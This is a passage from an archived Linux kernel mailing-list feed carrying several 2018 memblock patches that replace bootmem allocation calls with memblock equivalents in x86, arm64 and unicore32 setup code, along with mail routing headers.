	Content-Transfer-Encoding:Content-Type:MIME-Version:Cc:List-Subscribe:
	List-Help:List-Post:List-Archive:List-Unsubscribe:List-Id:Message-Id:
	References:In-Reply-To:Date:Subject:To:From:Reply-To:Content-ID:
	Content-Description:Resent-Date:Resent-From:Resent-Sender:Resent-To:Resent-Cc
	:Resent-Message-ID:List-Owner;
	bh=RsE0OTxKjsrn6+AGf//0bvaNf+2IshTCiBuXwfKvN64=; b=kj4BRfuhNnDqHGw4IUvd+QxDCA
	si85oPh8gT+Z9GXM9hNuNlcQnDgdfK7zq7a9b3+0Tb5NQ1617gZLuV8DrLDRLEue/j1hh/e/iyzwz
	Bi+2zJApl/MRsGbOMYDtVSemp7bxFioBrJ8CzYgao+76ahibL4dsT0FIHbkdecW4M0sy66j7xWokd
	y1vaO2ugaTK/Y8E8WEw82Yk+cnncAAaq2sOcVUQqJyf1a/IzkU4RTx3w5btA+lJSdSi8pdOddCPHg
	ZZqeLarBvfuaL3Yq9bB/NC1KNJ6BQ5vXwO+J2KJhtHAm+vEPQDI6nRtGGZpNa7ns5OP6Ifo1GPSXY
	nYzTniow==;
Original-Received: from localhost ([127.0.0.1] helo=bombadil.infradead.org)
	by bombadil.infradead.org with esmtp (Exim 4.90_1 #2 (Red Hat Linux))
	id 1g0mxe-00047m-It; Fri, 14 Sep 2018 12:12:34 +0000
Original-Received: from mx0b-001b2d01.pphosted.com ([148.163.158.5]
 helo=mx0a-001b2d01.pphosted.com)
 by bombadil.infradead.org with esmtps (Exim 4.90_1 #2 (Red Hat Linux))
 id 1g0mxK-0003zE-GI
 for linux-riscv@lists.infradead.org; Fri, 14 Sep 2018 12:12:31 +0000
Original-Received: from pps.filterd (m0098416.ppops.net [127.0.0.1])
 by mx0b-001b2d01.pphosted.com (8.16.0.22/8.16.0.22) with SMTP id
 w8EC4lRK026761
 for <linux-riscv@lists.infradead.org>; Fri, 14 Sep 2018 08:12:09 -0400
Original-Received: from e06smtp05.uk.ibm.com (e06smtp05.uk.ibm.com [195.75.94.101])
 by mx0b-001b2d01.pphosted.com with ESMTP id 2mg9c78dey-1
 (version=TLSv1.2 cipher=AES256-GCM-SHA384 bits=256 verify=NOT)
 for <linux-riscv@lists.infradead.org>; Fri, 14 Sep 2018 08:12:09 -0400
Original-Received: from localhost
 by e06smtp05.uk.ibm.com with IBM ESMTP SMTP Gateway: Authorized Use Only!
 Violators will be prosecuted
 for <linux-riscv@lists.infradead.org> from <rppt@linux.vnet.ibm.com>;
 Fri, 14 Sep 2018 13:12:06 +0100
Original-Received: from b06cxnps4076.portsmouth.uk.ibm.com (9.149.109.198)
 by e06smtp05.uk.ibm.com (192.168.101.135) with IBM ESMTP SMTP Gateway:
 Authorized Use Only! Violators will be prosecuted; 
 (version=TLSv1/SSLv3 cipher=AES256-GCM-SHA384 bits=256/256)
 Fri, 14 Sep 2018 13:11:54 +0100
Original-Received: from d06av21.portsmouth.uk.ibm.com (d06av21.portsmouth.uk.ibm.com
 [9.149.105.232])
 by b06cxnps4076.portsmouth.uk.ibm.com (8.14.9/8.14.9/NCO v10.0) with ESMTP id
 w8ECBrSe55902380
 (version=TLSv1/SSLv3 cipher=DHE-RSA-AES256-GCM-SHA384 bits=256 verify=FAIL);
 Fri, 14 Sep 2018 12:11:53 GMT
Original-Received: from d06av21.portsmouth.uk.ibm.com (unknown [127.0.0.1])
 by IMSVA (Postfix) with ESMTP id 62D5052052;
 Fri, 14 Sep 2018 15:11:41 +0100 (BST)
Original-Received: from rapoport-lnx (unknown [9.148.207.116])
 by d06av21.portsmouth.uk.ibm.com (Postfix) with ESMTPS id 3D42C5204F;
 Fri, 14 Sep 2018 15:11:36 +0100 (BST)
Original-Received: by rapoport-lnx (sSMTP sendmail emulation);
 Fri, 14 Sep 2018 15:11:47 +0300
X-Mailer: git-send-email 2.7.4
In-Reply-To: <1536927045-23536-1-git-send-email-rppt@linux.vnet.ibm.com>
X-TM-AS-GCONF: 00
x-cbid: 18091412-0020-0000-0000-000002C64BF1
X-IBM-AV-DETECTION: SAVI=unused REMOTE=unused XFE=unused
x-cbparentid: 18091412-0021-0000-0000-00002113ADDE
X-Proofpoint-Virus-Version: vendor=fsecure engine=2.50.10434:, ,
 definitions=2018-09-14_06:, , signatures=0
X-Proofpoint-Spam-Details: rule=outbound_notspam policy=outbound score=0
 priorityscore=1501
 malwarescore=0 suspectscore=1 phishscore=0 bulkscore=0 spamscore=0
 clxscore=1015 lowpriorityscore=0 mlxscore=0 impostorscore=0
 mlxlogscore=607 adultscore=0 classifier=spam adjust=0 reason=mlx
 scancount=1 engine=8.0.1-1807170000 definitions=main-1809140129
X-CRM114-Version: 20100106-BlameMichelson ( TRE 0.8.0 (BSD) ) MR-646709E3 
X-CRM114-CacheID: sfid-20180914_051214_696949_C7E0CF15 
X-CRM114-Status: GOOD (  23.38  )
X-Spam-Score: -0.7 (/)
X-Spam-Report: SpamAssassin version 3.4.1 on bombadil.infradead.org summary:
 Content analysis details:   (-0.7 points)
 pts rule name              description
 ---- ---------------------- --------------------------------------------------
 -0.7 RCVD_IN_DNSWL_LOW      RBL: Sender listed at http://www.dnswl.org/, low
 trust [148.163.158.5 listed in list.dnswl.org]
 0.0 KHOP_DYNAMIC           Relay looks like a dynamic address
X-BeenThere: linux-riscv@lists.infradead.org
X-Mailman-Version: 2.1.21
Precedence: list
List-Id: <linux-riscv.lists.infradead.org>
List-Unsubscribe: <http://lists.infradead.org/mailman/options/linux-riscv>,
 <mailto:linux-riscv-request@lists.infradead.org?subject=unsubscribe>
List-Archive: <http://lists.infradead.org/pipermail/linux-riscv/>
List-Post: <mailto:linux-riscv@lists.infradead.org>
List-Help: <mailto:linux-riscv-request@lists.infradead.org?subject=help>
List-Subscribe: <http://lists.infradead.org/mailman/listinfo/linux-riscv>,
 <mailto:linux-riscv-request@lists.infradead.org?subject=subscribe>
Original-Sender: "linux-riscv" <linux-riscv-bounces@lists.infradead.org>
Errors-To: linux-riscv-bounces+glpr-linux-riscv=m.gmane.org@lists.infradead.org
Xref: news.gmane.org gmane.linux.ports.riscv:784 gmane.linux.kernel.mm:203320 gmane.linux.ports.mips.general:66622 gmane.linux.ports.ia64:29217 gmane.linux.ports.sh.devel:57493 gmane.linux.ports.sparc:28405 gmane.linux.ports.hexagon:1834 gmane.linux.kernel.arc:4347 gmane.linux.ports.alpha:5223 gmane.linux.ports.arm.kernel:674192 gmane.linux.ports.parisc:28945 gmane.linux.kernel:2870763 gmane.linux.ports.ppc64.devel:162480
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.riscv/784>

The __alloc_bootmem_node_nopanic() attempts to allocate memory for a
specified node. If the allocation fails it then retries to allocate memory
from any node. Upon success, the allocated memory is set to 0.

The memblock_alloc_try_nid_nopanic() does exactly the same thing and can be
used instead.

Signed-off-by: Mike Rapoport <rppt@linux.vnet.ibm.com>
Acked-by: Michal Hocko <mhocko@suse.com>
---
 arch/x86/kernel/setup_percpu.c | 6 ++++--
 1 file changed, 4 insertions(+), 2 deletions(-)

diff --git a/arch/x86/kernel/setup_percpu.c b/arch/x86/kernel/setup_percpu.c
index ea554f8..67d48e26 100644
--- a/arch/x86/kernel/setup_percpu.c
+++ b/arch/x86/kernel/setup_percpu.c
@@ -112,8 +112,10 @@ static void * __init pcpu_alloc_bootmem(unsigned int cpu, unsigned long size,
 		pr_debug("per cpu data for cpu%d %lu bytes at %016lx\n",
 			 cpu, size, __pa(ptr));
 	} else {
-		ptr = __alloc_bootmem_node_nopanic(NODE_DATA(node),
-						   size, align, goal);
+		ptr = memblock_alloc_try_nid_nopanic(size, align, goal,
+						     BOOTMEM_ALLOC_ACCESSIBLE,
+						     node);
+
 		pr_debug("per cpu data for cpu%d %lu bytes on node%d at %016lx\n",
 			 cpu, size, node, __pa(ptr));
 	}
-- 
2.7.4

From - Thu Nov 08 21:41:56 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!.POSTED!not-for-mail
From: Mike Rapoport <rppt@linux.vnet.ibm.com>
Newsgroups: gmane.linux.ports.riscv,gmane.linux.kernel.mm,gmane.linux.ports.mips.general,gmane.linux.ports.ia64,gmane.linux.ports.sh.devel,gmane.linux.ports.sparc,gmane.linux.ports.hexagon,gmane.linux.kernel.arc,gmane.linux.ports.alpha,gmane.linux.ports.arm.kernel,gmane.linux.ports.parisc,gmane.linux.kernel,gmane.linux.ports.ppc64.devel
Subject: [PATCH 09/30] memblock: replace alloc_bootmem_low with
 memblock_alloc_low
Date: Fri, 14 Sep 2018 15:10:24 +0300
Lines: 24
Approved: news@gmane.org
Message-ID: <1536927045-23536-10-git-send-email-rppt@linux.vnet.ibm.com>
References: <1536927045-23536-1-git-send-email-rppt@linux.vnet.ibm.com>
NNTP-Posting-Host: blaine.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset="us-ascii"
Content-Transfer-Encoding: 7bit
X-Trace: blaine.gmane.org 1536927041 27443 195.159.176.226 (14 Sep 2018 12:10:41 GMT)
X-Complaints-To: usenet@blaine.gmane.org
NNTP-Posting-Date: Fri, 14 Sep 2018 12:10:41 +0000 (UTC)
Cc: linux-mips@linux-mips.org, Michal Hocko <mhocko@suse.com>,
 linux-ia64@vger.kernel.org, linux-sh@vger.kernel.org,
 Catalin Marinas <catalin.marinas@arm.com>, Palmer Dabbelt <palmer@sifive.com>,
 Russell King <linux@armlinux.org.uk>, Rich Felker <dalias@libc.org>,
 sparclinux@vger.kernel.org, linux-hexagon@vger.kernel.org,
 linux-riscv@lists.infradead.org, Jonas Bonn <jonas@southpole.se>,
 linux-s390@vger.kernel.org, linux-c6x-dev@linux-c6x.org,
 Yoshinori Sato <ysato@users.sourceforge.jp>, Jonathan Corbet <corbet@lwn.net>,
 Michael Ellerman <mpe@ellerman.id.au>,
 "James E.J. Bottomley" <jejb@parisc-linux.org>, Ingo Molnar <mingo@redhat.com>,
 Geert Uytterhoeven <geert@linux-m68k.org>, Mark Salter <msalter@redhat.com>,
 Matt Turner <mattst88@gmail.com>, linux-snps-arc@lists.infradead.org,
 uclinux-h8-devel@lists.sourceforge.jp, Mike Rapoport <rppt@linux.vnet.ibm.com>,
 linux-alpha@vge
To: linux-mm@kvack.org
Original-X-From: linux-riscv-bounces+glpr-linux-riscv=m.gmane.org@lists.infradead.org Fri Sep 14 14:10:33 2018
Return-path: <linux-riscv-bounces+glpr-linux-riscv=m.gmane.org@lists.infradead.org>
Envelope-to: glpr-linux-riscv@m.gmane.org
Original-Received: from bombadil.infradead.org ([198.137.202.133])
	by blaine.gmane.org with esmtp (Exim 4.84_2)
	(envelope-from <linux-riscv-bounces+glpr-linux-riscv=m.gmane.org@lists.infradead.org>)
	id 1g0mvg-0006vH-IM
	for glpr-linux-riscv@m.gmane.org; Fri, 14 Sep 2018 14:10:32 +0200
DKIM-Signature: v=1; a=rsa-sha256; q=dns/txt; c=relaxed/relaxed;
	d=lists.infradead.org; s=bombadil.20170209; h=Sender:
	Content-Transfer-Encoding:Content-Type:MIME-Version:Cc:List-Subscribe:
	List-Help:List-Post:List-Archive:List-Unsubscribe:List-Id:Message-Id:
	References:In-Reply-To:Date:Subject:To:From:Reply-To:Content-ID:
	Content-Description:Resent-Date:Resent-From:Resent-Sender:Resent-To:Resent-Cc
	:Resent-Message-ID:List-Owner;
	bh=IOLCQVsxTJ8EWTYAJDfiK6TK4fP+y4KE4vbxtuoh3jI=; b=XftANzQfKaZXb9rdiixONvcqDc
	2+lNY9KVx0Vpd34lrld7UcxID0sejS78SkRbpNgD4lRF+ZQkZffWfVYY51Cnf9/kmfacldkHTmxLy
	RbII474b7wU3zxMR6IF8TrMQh+zg39TXQNazMGEoxwk1faZ7bpw0kfV1Y+wrRwje1XQOnHz58DuOC
	3o1eS2fwEhgwcOHOT+I98NyRAtspI1Kq3VFWaN56rW/iE1BFSGbAabymwMVGtB6E6XBGUYH9LbUzb
	cWsp5g9+rKwEB5WZbJw3LLm/nXJk+IcstKIU9joIvlFrGbyfr92cmAmCyrLHbFhIMgvA1Sn+Cz6Wm
	6XdBEvPA==;
Original-Received: from localhost ([127.0.0.1] helo=bombadil.infradead.org)
	by bombadil.infradead.org with esmtp (Exim 4.90_1 #2 (Red Hat Linux))
	id 1g0mxj-0004Ap-Ut; Fri, 14 Sep 2018 12:12:39 +0000
Original-Received: from mx0a-001b2d01.pphosted.com ([148.163.156.1])
 by bombadil.infradead.org with esmtps (Exim 4.90_1 #2 (Red Hat Linux))
 id 1g0mxL-0003yW-H0
 for linux-riscv@lists.infradead.org; Fri, 14 Sep 2018 12:12:34 +0000
Original-Received: from pps.filterd (m0098399.ppops.net [127.0.0.1])
 by mx0a-001b2d01.pphosted.com (8.16.0.22/8.16.0.22) with SMTP id
 w8EC5LgW047859
 for <linux-riscv@lists.infradead.org>; Fri, 14 Sep 2018 08:12:06 -0400
Original-Received: from e06smtp05.uk.ibm.com (e06smtp05.uk.ibm.com [195.75.94.101])
 by mx0a-001b2d01.pphosted.com with ESMTP id 2mgak1wwnt-1
 (version=TLSv1.2 cipher=AES256-GCM-SHA384 bits=256 verify=NOT)
 for <linux-riscv@lists.infradead.org>; Fri, 14 Sep 2018 08:12:06 -0400
Original-Received: from localhost
 by e06smtp05.uk.ibm.com with IBM ESMTP SMTP Gateway: Authorized Use Only!
 Violators will be prosecuted
 for <linux-riscv@lists.infradead.org> from <rppt@linux.vnet.ibm.com>;
 Fri, 14 Sep 2018 13:11:59 +0100
Original-Received: from b06cxnps3075.portsmouth.uk.ibm.com (9.149.109.195)
 by e06smtp05.uk.ibm.com (192.168.101.135) with IBM ESMTP SMTP Gateway:
 Authorized Use Only! Violators will be prosecuted; 
 (version=TLSv1/SSLv3 cipher=AES256-GCM-SHA384 bits=256/256)
 Fri, 14 Sep 2018 13:11:48 +0100
Original-Received: from d06av26.portsmouth.uk.ibm.com (d06av26.portsmouth.uk.ibm.com
 [9.149.105.62])
 by b06cxnps3075.portsmouth.uk.ibm.com (8.14.9/8.14.9/NCO v10.0) with ESMTP id
 w8ECBlfr852304
 (version=TLSv1/SSLv3 cipher=DHE-RSA-AES256-GCM-SHA384 bits=256 verify=FAIL);
 Fri, 14 Sep 2018 12:11:47 GMT
Original-Received: from d06av26.portsmouth.uk.ibm.com (unknown [127.0.0.1])
 by IMSVA (Postfix) with ESMTP id 78C64AE04D;
 Fri, 14 Sep 2018 15:11:00 +0100 (BST)
Original-Received: from d06av26.portsmouth.uk.ibm.com (unknown [127.0.0.1])
 by IMSVA (Postfix) with ESMTP id 4BBFBAE057;
 Fri, 14 Sep 2018 15:10:55 +0100 (BST)
Original-Received: from rapoport-lnx (unknown [9.148.207.116])
 by d06av26.portsmouth.uk.ibm.com (Postfix) with ESMTPS;
 Fri, 14 Sep 2018 15:10:55 +0100 (BST)
Original-Received: by rapoport-lnx (sSMTP sendmail emulation);
 Fri, 14 Sep 2018 15:11:41 +0300
X-Mailer: git-send-email 2.7.4
In-Reply-To: <1536927045-23536-1-git-send-email-rppt@linux.vnet.ibm.com>
X-TM-AS-GCONF: 00
x-cbid: 18091412-0020-0000-0000-000002C64BEB
X-IBM-AV-DETECTION: SAVI=unused REMOTE=unused XFE=unused
x-cbparentid: 18091412-0021-0000-0000-00002113ADDA
X-Proofpoint-Virus-Version: vendor=fsecure engine=2.50.10434:, ,
 definitions=2018-09-14_06:, , signatures=0
X-Proofpoint-Spam-Details: rule=outbound_notspam policy=outbound score=0
 priorityscore=1501
 malwarescore=0 suspectscore=3 phishscore=0 bulkscore=0 spamscore=0
 clxscore=1015 lowpriorityscore=0 mlxscore=0 impostorscore=0
 mlxlogscore=472 adultscore=0 classifier=spam adjust=0 reason=mlx
 scancount=1 engine=8.0.1-1807170000 definitions=main-1809140129
X-CRM114-Version: 20100106-BlameMichelson ( TRE 0.8.0 (BSD) ) MR-646709E3 
X-CRM114-CacheID: sfid-20180914_051215_705548_9305D8FD 
X-CRM114-Status: GOOD (  20.24  )
X-Spam-Score: -0.7 (/)
X-Spam-Report: SpamAssassin version 3.4.1 on bombadil.infradead.org summary:
 Content analysis details:   (-0.7 points)
 pts rule name              description
 ---- ---------------------- --------------------------------------------------
 -0.7 RCVD_IN_DNSWL_LOW      RBL: Sender listed at http://www.dnswl.org/, low
 trust [148.163.156.1 listed in list.dnswl.org]
 0.0 KHOP_DYNAMIC           Relay looks like a dynamic address
X-BeenThere: linux-riscv@lists.infradead.org
X-Mailman-Version: 2.1.21
Precedence: list
List-Id: <linux-riscv.lists.infradead.org>
List-Unsubscribe: <http://lists.infradead.org/mailman/options/linux-riscv>,
 <mailto:linux-riscv-request@lists.infradead.org?subject=unsubscribe>
List-Archive: <http://lists.infradead.org/pipermail/linux-riscv/>
List-Post: <mailto:linux-riscv@lists.infradead.org>
List-Help: <mailto:linux-riscv-request@lists.infradead.org?subject=help>
List-Subscribe: <http://lists.infradead.org/mailman/listinfo/linux-riscv>,
 <mailto:linux-riscv-request@lists.infradead.org?subject=subscribe>
Original-Sender: "linux-riscv" <linux-riscv-bounces@lists.infradead.org>
Errors-To: linux-riscv-bounces+glpr-linux-riscv=m.gmane.org@lists.infradead.org
Xref: news.gmane.org gmane.linux.ports.riscv:785 gmane.linux.kernel.mm:203321 gmane.linux.ports.mips.general:66623 gmane.linux.ports.ia64:29218 gmane.linux.ports.sh.devel:57494 gmane.linux.ports.sparc:28406 gmane.linux.ports.hexagon:1835 gmane.linux.kernel.arc:4348 gmane.linux.ports.alpha:5224 gmane.linux.ports.arm.kernel:674193 gmane.linux.ports.parisc:28946 gmane.linux.kernel:2870764 gmane.linux.ports.ppc64.devel:162481
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.riscv/785>

The functions are equivalent, just the later does not require nobootmem
translation layer.

Signed-off-by: Mike Rapoport <rppt@linux.vnet.ibm.com>
Acked-by: Michal Hocko <mhocko@suse.com>
---
 arch/x86/kernel/tce_64.c | 2 +-
 1 file changed, 1 insertion(+), 1 deletion(-)

diff --git a/arch/x86/kernel/tce_64.c b/arch/x86/kernel/tce_64.c
index f386bad..54c9b5a 100644
--- a/arch/x86/kernel/tce_64.c
+++ b/arch/x86/kernel/tce_64.c
@@ -173,7 +173,7 @@ void * __init alloc_tce_table(void)
 	size = table_size_to_number_of_entries(specified_table_size);
 	size *= TCE_ENTRY_SIZE;
 
-	return __alloc_bootmem_low(size, size, 0);
+	return memblock_alloc_low(size, size);
 }
 
 void __init free_tce_table(void *tbl)
-- 
2.7.4

From - Thu Nov 08 21:41:56 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!.POSTED!not-for-mail
From: Mike Rapoport <rppt@linux.vnet.ibm.com>
Newsgroups: gmane.linux.ports.riscv,gmane.linux.kernel.mm,gmane.linux.ports.mips.general,gmane.linux.ports.ia64,gmane.linux.ports.sh.devel,gmane.linux.ports.sparc,gmane.linux.ports.hexagon,gmane.linux.kernel.arc,gmane.linux.ports.alpha,gmane.linux.ports.arm.kernel,gmane.linux.ports.parisc,gmane.linux.kernel,gmane.linux.ports.ppc64.devel
Subject: [PATCH 12/30] memblock: replace alloc_bootmem_low with
 memblock_alloc_low
Date: Fri, 14 Sep 2018 15:10:27 +0300
Lines: 38
Approved: news@gmane.org
Message-ID: <1536927045-23536-13-git-send-email-rppt@linux.vnet.ibm.com>
References: <1536927045-23536-1-git-send-email-rppt@linux.vnet.ibm.com>
NNTP-Posting-Host: blaine.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset="us-ascii"
Content-Transfer-Encoding: 7bit
X-Trace: blaine.gmane.org 1536927052 28320 195.159.176.226 (14 Sep 2018 12:10:52 GMT)
X-Complaints-To: usenet@blaine.gmane.org
NNTP-Posting-Date: Fri, 14 Sep 2018 12:10:52 +0000 (UTC)
Cc: linux-mips@linux-mips.org, Michal Hocko <mhocko@suse.com>,
 linux-ia64@vger.kernel.org, linux-sh@vger.kernel.org,
 Catalin Marinas <catalin.marinas@arm.com>, Palmer Dabbelt <palmer@sifive.com>,
 Russell King <linux@armlinux.org.uk>, Rich Felker <dalias@libc.org>,
 sparclinux@vger.kernel.org, linux-hexagon@vger.kernel.org,
 linux-riscv@lists.infradead.org, Jonas Bonn <jonas@southpole.se>,
 linux-s390@vger.kernel.org, linux-c6x-dev@linux-c6x.org,
 Yoshinori Sato <ysato@users.sourceforge.jp>, Jonathan Corbet <corbet@lwn.net>,
 Michael Ellerman <mpe@ellerman.id.au>,
 "James E.J. Bottomley" <jejb@parisc-linux.org>, Ingo Molnar <mingo@redhat.com>,
 Geert Uytterhoeven <geert@linux-m68k.org>, Mark Salter <msalter@redhat.com>,
 Matt Turner <mattst88@gmail.com>, linux-snps-arc@lists.infradead.org,
 uclinux-h8-devel@lists.sourceforge.jp, Mike Rapoport <rppt@linux.vnet.ibm.com>,
 linux-alpha@vge
To: linux-mm@kvack.org
Original-X-From: linux-riscv-bounces+glpr-linux-riscv=m.gmane.org@lists.infradead.org Fri Sep 14 14:10:43 2018
Return-path: <linux-riscv-bounces+glpr-linux-riscv=m.gmane.org@lists.infradead.org>
Envelope-to: glpr-linux-riscv@m.gmane.org
Original-Received: from bombadil.infradead.org ([198.137.202.133])
	by blaine.gmane.org with esmtp (Exim 4.84_2)
	(envelope-from <linux-riscv-bounces+glpr-linux-riscv=m.gmane.org@lists.infradead.org>)
	id 1g0mvq-00079K-MM
	for glpr-linux-riscv@m.gmane.org; Fri, 14 Sep 2018 14:10:42 +0200
DKIM-Signature: v=1; a=rsa-sha256; q=dns/txt; c=relaxed/relaxed;
	d=lists.infradead.org; s=bombadil.20170209; h=Sender:
	Content-Transfer-Encoding:Content-Type:MIME-Version:Cc:List-Subscribe:
	List-Help:List-Post:List-Archive:List-Unsubscribe:List-Id:Message-Id:
	References:In-Reply-To:Date:Subject:To:From:Reply-To:Content-ID:
	Content-Description:Resent-Date:Resent-From:Resent-Sender:Resent-To:Resent-Cc
	:Resent-Message-ID:List-Owner;
	bh=Eg8urpCi31r+4230anpYJO3rfXQqld6HjK3dyReY6U8=; b=Ttb/2uMFbis9DLVnBuiyPs6wzN
	GSR1vqAlkDHV9CAC4Jfwz8PLDLcmTsxJVp/n/KAA179zOJgScOkWQLVOeS+mfmikhz6X82jyDJfPE
	gPBNtI+gdBH96kvLzt+LqLNjYvB0JF7HqkqlA0P1IU+ny0SuhEGoWrWKmNBYtP3515SpH617VbuE9
	7dl0viPkk74ajGQF6vgAXYZkn6UjqQnl0+sOidVHdU7/gu9KLwbsw3Y6zCR5KADVjQtcsa2Fpg9VU
	JyFIqwBC0lVZCaVtbmKcI1OnVcfDcdILA0iIMWx/g4j0SXoqR6EjfZskdZkxxCMGFrPNhUGB0UQ6D
	TcDNBKOA==;
Original-Received: from localhost ([127.0.0.1] helo=bombadil.infradead.org)
	by bombadil.infradead.org with esmtp (Exim 4.90_1 #2 (Red Hat Linux))
	id 1g0mxr-0004Ds-Ni; Fri, 14 Sep 2018 12:12:47 +0000
Original-Received: from mx0a-001b2d01.pphosted.com ([148.163.156.1])
 by bombadil.infradead.org with esmtps (Exim 4.90_1 #2 (Red Hat Linux))
 id 1g0mxb-00042f-V0
 for linux-riscv@lists.infradead.org; Fri, 14 Sep 2018 12:12:39 +0000
Original-Received: from pps.filterd (m0098404.ppops.net [127.0.0.1])
 by mx0a-001b2d01.pphosted.com (8.16.0.22/8.16.0.22) with SMTP id
 w8EC5RRQ145267
 for <linux-riscv@lists.infradead.org>; Fri, 14 Sep 2018 08:12:22 -0400
Original-Received: from e06smtp02.uk.ibm.com (e06smtp02.uk.ibm.com [195.75.94.98])
 by mx0a-001b2d01.pphosted.com with ESMTP id 2mgcfxgucu-1
 (version=TLSv1.2 cipher=AES256-GCM-SHA384 bits=256 verify=NOT)
 for <linux-riscv@lists.infradead.org>; Fri, 14 Sep 2018 08:12:21 -0400
Original-Received: from localhost
 by e06smtp02.uk.ibm.com with IBM ESMTP SMTP Gateway: Authorized Use Only!
 Violators will be prosecuted
 for <linux-riscv@lists.infradead.org> from <rppt@linux.vnet.ibm.com>;
 Fri, 14 Sep 2018 13:12:18 +0100
Original-Received: from b06cxnps4074.portsmouth.uk.ibm.com (9.149.109.196)
 by e06smtp02.uk.ibm.com (192.168.101.132) with IBM ESMTP SMTP Gateway:
 Authorized Use Only! Violators will be prosecuted; 
 (version=TLSv1/SSLv3 cipher=AES256-GCM-SHA384 bits=256/256)
 Fri, 14 Sep 2018 13:12:06 +0100
Original-Received: from d06av23.portsmouth.uk.ibm.com (d06av23.portsmouth.uk.ibm.com
 [9.149.105.59])
 by b06cxnps4074.portsmouth.uk.ibm.com (8.14.9/8.14.9/NCO v10.0) with ESMTP id
 w8ECC5OQ59900028
 (version=TLSv1/SSLv3 cipher=DHE-RSA-AES256-GCM-SHA384 bits=256 verify=FAIL);
 Fri, 14 Sep 2018 12:12:05 GMT
Original-Received: from d06av23.portsmouth.uk.ibm.com (unknown [127.0.0.1])
 by IMSVA (Postfix) with ESMTP id 6D36DA404D;
 Fri, 14 Sep 2018 15:11:53 +0100 (BST)
Original-Received: from d06av23.portsmouth.uk.ibm.com (unknown [127.0.0.1])
 by IMSVA (Postfix) with ESMTP id 435B2A4040;
 Fri, 14 Sep 2018 15:11:48 +0100 (BST)
Original-Received: from rapoport-lnx (unknown [9.148.207.116])
 by d06av23.portsmouth.uk.ibm.com (Postfix) with ESMTPS;
 Fri, 14 Sep 2018 15:11:48 +0100 (BST)
Original-Received: by rapoport-lnx (sSMTP sendmail emulation);
 Fri, 14 Sep 2018 15:11:59 +0300
X-Mailer: git-send-email 2.7.4
In-Reply-To: <1536927045-23536-1-git-send-email-rppt@linux.vnet.ibm.com>
X-TM-AS-GCONF: 00
x-cbid: 18091412-0008-0000-0000-000002715A67
X-IBM-AV-DETECTION: SAVI=unused REMOTE=unused XFE=unused
x-cbparentid: 18091412-0009-0000-0000-000021D9A046
X-Proofpoint-Virus-Version: vendor=fsecure engine=2.50.10434:, ,
 definitions=2018-09-14_06:, , signatures=0
X-Proofpoint-Spam-Details: rule=outbound_notspam policy=outbound score=0
 priorityscore=1501
 malwarescore=0 suspectscore=1 phishscore=0 bulkscore=0 spamscore=0
 clxscore=1015 lowpriorityscore=0 mlxscore=0 impostorscore=0
 mlxlogscore=503 adultscore=0 classifier=spam adjust=0 reason=mlx
 scancount=1 engine=8.0.1-1807170000 definitions=main-1809140129
X-CRM114-Version: 20100106-BlameMichelson ( TRE 0.8.0 (BSD) ) MR-646709E3 
X-CRM114-CacheID: sfid-20180914_051232_133111_E2AB283E 
X-CRM114-Status: GOOD (  21.65  )
X-Spam-Score: -0.7 (/)
X-Spam-Report: SpamAssassin version 3.4.1 on bombadil.infradead.org summary:
 Content analysis details:   (-0.7 points)
 pts rule name              description
 ---- ---------------------- --------------------------------------------------
 -0.7 RCVD_IN_DNSWL_LOW      RBL: Sender listed at http://www.dnswl.org/, low
 trust [148.163.156.1 listed in list.dnswl.org]
 0.0 KHOP_DYNAMIC           Relay looks like a dynamic address
X-BeenThere: linux-riscv@lists.infradead.org
X-Mailman-Version: 2.1.21
Precedence: list
List-Id: <linux-riscv.lists.infradead.org>
List-Unsubscribe: <http://lists.infradead.org/mailman/options/linux-riscv>,
 <mailto:linux-riscv-request@lists.infradead.org?subject=unsubscribe>
List-Archive: <http://lists.infradead.org/pipermail/linux-riscv/>
List-Post: <mailto:linux-riscv@lists.infradead.org>
List-Help: <mailto:linux-riscv-request@lists.infradead.org?subject=help>
List-Subscribe: <http://lists.infradead.org/mailman/listinfo/linux-riscv>,
 <mailto:linux-riscv-request@lists.infradead.org?subject=subscribe>
Original-Sender: "linux-riscv" <linux-riscv-bounces@lists.infradead.org>
Errors-To: linux-riscv-bounces+glpr-linux-riscv=m.gmane.org@lists.infradead.org
Xref: news.gmane.org gmane.linux.ports.riscv:786 gmane.linux.kernel.mm:203322 gmane.linux.ports.mips.general:66624 gmane.linux.ports.ia64:29219 gmane.linux.ports.sh.devel:57495 gmane.linux.ports.sparc:28407 gmane.linux.ports.hexagon:1836 gmane.linux.kernel.arc:4349 gmane.linux.ports.alpha:5225 gmane.linux.ports.arm.kernel:674194 gmane.linux.ports.parisc:28947 gmane.linux.kernel:2870765 gmane.linux.ports.ppc64.devel:162482
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.riscv/786>

The alloc_bootmem_low(size) allocates low memory with default alignement
and can be replcaed by memblock_alloc_low(size, 0)

Signed-off-by: Mike Rapoport <rppt@linux.vnet.ibm.com>
Acked-by: Michal Hocko <mhocko@suse.com>
---
 arch/arm64/kernel/setup.c     | 2 +-
 arch/unicore32/kernel/setup.c | 2 +-
 2 files changed, 2 insertions(+), 2 deletions(-)

diff --git a/arch/arm64/kernel/setup.c b/arch/arm64/kernel/setup.c
index 5b4fac4..cf7a7b7 100644
--- a/arch/arm64/kernel/setup.c
+++ b/arch/arm64/kernel/setup.c
@@ -213,7 +213,7 @@ static void __init request_standard_resources(void)
 	kernel_data.end     = __pa_symbol(_end - 1);
 
 	for_each_memblock(memory, region) {
-		res = alloc_bootmem_low(sizeof(*res));
+		res = memblock_alloc_low(sizeof(*res), 0);
 		if (memblock_is_nomap(region)) {
 			res->name  = "reserved";
 			res->flags = IORESOURCE_MEM;
diff --git a/arch/unicore32/kernel/setup.c b/arch/unicore32/kernel/setup.c
index c2bffa5..9f163f9 100644
--- a/arch/unicore32/kernel/setup.c
+++ b/arch/unicore32/kernel/setup.c
@@ -207,7 +207,7 @@ request_standard_resources(struct meminfo *mi)
 		if (mi->bank[i].size == 0)
 			continue;
 
-		res = alloc_bootmem_low(sizeof(*res));
